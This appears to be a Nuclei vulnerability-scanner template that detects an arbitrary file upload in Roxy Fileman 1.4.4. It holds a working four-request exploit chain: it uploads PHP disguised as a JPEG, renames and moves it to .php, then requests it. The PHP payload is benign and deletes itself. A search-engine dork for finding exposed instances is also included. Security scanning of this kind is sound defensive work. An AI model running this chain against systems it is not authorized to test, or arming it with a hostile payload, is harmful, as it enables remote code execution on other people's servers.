nuclei-templates/http/misconfiguration/roxyfileman-fileupload.yaml

88 lines
2.8 KiB
YAML
Raw Normal View History

2022-08-16 07:38:09 +00:00
id: roxyfileman-fileupload
info:
name: Roxy Fileman 1.4.4 - Arbitrary File Upload
author: DhiyaneshDK
severity: high
2022-08-16 07:38:09 +00:00
description: |
Roxy Fileman 1.4.4 is susceptible to remote code execution via the FORBIDDEN_UPLOADS setting, which is checked when renaming an existing file to a new file extension. An attacker can bypass this check and rename already uploaded files to any extension using the move function, which does not perform any checks.
2022-08-16 07:38:09 +00:00
reference:
- https://www.exploit-db.com/exploits/39963
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cwe-id: CWE-434
2022-08-16 07:38:09 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-10-14 11:27:55 +00:00
max-request: 4
google-query: intitle:"Roxy file manager"
2023-06-19 06:18:19 +00:00
tags: misconfig,edb,roxy,fileman,rce,fileupload,intrusive
2022-08-16 07:38:09 +00:00
http:
2022-08-16 07:38:09 +00:00
- raw:
- |
POST /php/upload.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6rbEqFAMRkE0RAB7
------WebKitFormBoundary6rbEqFAMRkE0RAB7
Content-Disposition: form-data; name="action"
upload
------WebKitFormBoundary6rbEqFAMRkE0RAB7
Content-Disposition: form-data; name="method"
ajax
------WebKitFormBoundary6rbEqFAMRkE0RAB7
Content-Disposition: form-data; name="d"
/app/Uploads
------WebKitFormBoundary6rbEqFAMRkE0RAB7
Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.jpg"
Content-Type: image/jpeg
<?php
2023-06-16 07:46:20 +00:00
echo md5('roxyfileman-fileupload');unlink(__FILE__);
2022-08-16 07:38:09 +00:00
?>
------WebKitFormBoundary6rbEqFAMRkE0RAB7--
- |
POST /php/renamefile.php?f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n={{randstr}}.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n={{randstr}}.php
- |
POST /php/movefile.php?f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n=%2Fapp%2FUploads%2F{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n=%2Fapp%2FUploads%2F{{randstr}}.php
- |
2023-06-16 07:46:20 +00:00
GET /Uploads/{{randstr}}.php HTTP/1.1
2022-08-16 07:38:09 +00:00
Host: {{Hostname}}
cookie-reuse: true
host-redirects: true
2022-08-16 07:38:09 +00:00
max-redirects: 2
2023-10-14 11:27:55 +00:00
2022-08-16 07:38:09 +00:00
matchers-condition: and
matchers:
2022-08-23 04:25:32 +00:00
- type: regex
2022-08-16 07:38:09 +00:00
part: body
2022-08-23 04:25:32 +00:00
regex:
2023-06-16 07:46:20 +00:00
- "99acb46eabd01958e22fae1792e83ca9"
2022-08-16 07:38:09 +00:00
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a004630440220297ab80e2aeccd8c3bb15ffff9d323774b52f8e57fdfbb5bc6b87834e50eb6f602200409954ed96b2c25ba45b4e53e4ec6a565f65371e0dbc32ea89be959d2579c13:922c64590222798bb761d5b6d8e72950